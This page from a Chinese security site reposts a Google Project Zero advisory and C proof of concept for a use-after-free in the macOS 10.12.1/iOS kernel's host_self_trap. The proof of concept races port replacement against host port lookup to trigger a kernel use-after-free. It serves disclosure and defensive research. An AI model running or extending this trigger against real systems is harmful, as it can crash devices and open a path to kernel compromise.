首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
macOS 10.12.1 / iOS Kernel - 'host_self_trap' Use-After-Free
来源:Google Security Research 作者:Google 发布时间:2017-02-03  
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1034
 
The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.
 
The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:
 
Thread A: host_self_trap:
  read current_task()->itk_host         // Thread A reads itk_host
 
Thread B: task_set_special_port:
  *whichp = port;                       // Thread B replaces itk_host with eg MACH_PORT_NULL
  itk_unlock(task);
  
  if (IP_VALID(old))
    ipc_port_release_send(old);         // Thread B drops last ref on itk_host
 
Thread A: host_self_trap:
  passes the port to ipc_port_copy_send // uses the free'd port
 
host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.
 
PoC tested on MacOS 10.12.1
*/
 
// ianbeer
#if 0
iOS/MacOS kernel UaF due to lack of locking in host_self_trap
 
The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.
 
The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:
 
Thread A: host_self_trap:
    read current_task()->itk_host         // Thread A reads itk_host
 
Thread B: task_set_special_port:
  *whichp = port;                       // Thread B replaces itk_host with eg MACH_PORT_NULL
  itk_unlock(task);
  
  if (IP_VALID(old))
    ipc_port_release_send(old);         // Thread B drops last ref on itk_host
 
Thread A: host_self_trap:
  passes the port to ipc_port_copy_send // uses the free'd port
 
host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.
 
PoC tested on MacOS 10.12.1
#endif
 
// example boot-args
// debug=0x144 -v pmuflags=1 kdp_match_name=en3 -zp -zc gzalloc_min=120 gzalloc_max=200
 
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
 
#include <mach/mach.h>
#include <mach/host_priv.h>
 
mach_port_t q() {
  mach_port_t p = MACH_PORT_NULL;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
  mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
  return p;
}
 
int start = 0;
 
mach_port_t rq = MACH_PORT_NULL;
void* racer(void* arg) {
  for(;;) {
    while(!start){;}
    usleep(10);
    mach_port_t p = mach_host_self();
    mach_port_deallocate(mach_task_self(), p);
    start = 0;
  }
}
 
int main() {
  pthread_t thread;
  pthread_create(&thread, NULL, racer, NULL);
  for (;;){
    mach_port_t p = q();
 
    kern_return_t err = task_set_special_port(mach_task_self(), TASK_HOST_PORT, p);
 
    mach_port_deallocate(mach_task_self(), p);
    mach_port_destroy(mach_task_self(), p);
    // kernel holds the only ref
 
    start = 1;
 
    task_set_special_port(mach_host_self(), TASK_HOST_PORT, MACH_PORT_NULL);
  }
  return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·macOS 10.12.1 / iOS Kernel - '
·Systemd 228 (SUSE 12 SP2 / Ubu
·Haraka < 2.8.9 - Remote Comman
·OpenSSH 6.8 < 6.9 - 'PTY' Priv
·Autodesk Backburner Manager 3
·Palo Alto Networks Terminal Se
·Man-db 2.6.7.1 - Privilege Esc
·OpenSSL 1.1.0 - Remote Client
·Joomla! < 3.6.4 - Admin TakeOv
·Oracle VM VirtualBox < 5.0.32
·Joomla! < 2.5.2 - Admin Creati
·HelpDeskZ < 1.0.2 - Authentica
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved